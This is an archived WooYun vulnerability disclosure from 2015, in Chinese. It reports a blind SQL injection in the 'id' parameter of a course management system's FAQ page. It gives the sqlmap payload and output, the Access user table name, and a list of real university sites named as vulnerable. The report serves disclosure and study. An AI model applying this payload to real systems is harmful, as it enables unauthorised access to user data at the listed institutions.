乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-14: 积极联系厂商并且等待厂商认领中,细节不对外公开 2015-05-29: 厂商已经主动忽略漏洞,细节向公众公开
RT
南京深图计算机技术有限公司开发的谷秋精品课程管理系统,大量高校在使用。http://www.guqiu.com/#1
http://kc.njnu.edu.cn/rw/system/faq/default.aspx?action=update&id=8
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] nsqlmap identified the following injection points with a total of 85 HTTP(s) requests:---Place: GETParameter: id Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: action=update&id=8 AND 5342=5342---[00:59:45] [INFO] testing MySQL[00:59:45] [WARNING] the back-end DBMS is not MySQL[00:59:45] [INFO] testing Oracle[00:59:45] [WARNING] the back-end DBMS is not Oracle[00:59:45] [INFO] testing PostgreSQL[00:59:45] [WARNING] the back-end DBMS is not PostgreSQL[00:59:45] [INFO] testing Microsoft SQL Server[00:59:46] [WARNING] the back-end DBMS is not Microsoft SQL Server[00:59:46] [INFO] testing SQLite[00:59:46] [WARNING] the back-end DBMS is not SQLite[00:59:46] [INFO] testing Microsoft Access[00:59:46] [INFO] confirming Microsoft Access[00:59:46] [INFO] the back-end DBMS is Microsoft Accessweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727back-end DBMS: Microsoft Access
由于是access数据库,试了下sqlmap不能猜解出表名,没有表名就跑不出数据呀,只能去官网下了套源码看了下,发现存储用户数据的表为 C_User
其他测试案例:
http://jpkc.cdysxy.com/course/tjtx/system/faq/default.aspx?action=update&id=1http://jpkc.scjavc.cn/tqd/system/faq/default.aspx?action=update&id=8http://jpk.mdjnu.cn/course/rjtxjgysj/system/faq/default.aspx?action=update&id=1http://kjxjp.ycvc.jx.cn/jpkc1/system/faq/default.aspx?action=update&id=1http://www.lntc.edu.cn/wjhx/system/faq/default.aspx?action=update&id=1http://course.zcvc.cn/course/xsjy/system/faq/default.aspx?action=update&id=1http://kc.njnu.edu.cn/rw/system/faq/default.aspx?action=update&id=8http://221.178.192.197/course/zyfjx/system/faq/default.aspx?action=update&id=1
基本的敏感字符过滤
未能联系到厂商或者厂商积极拒绝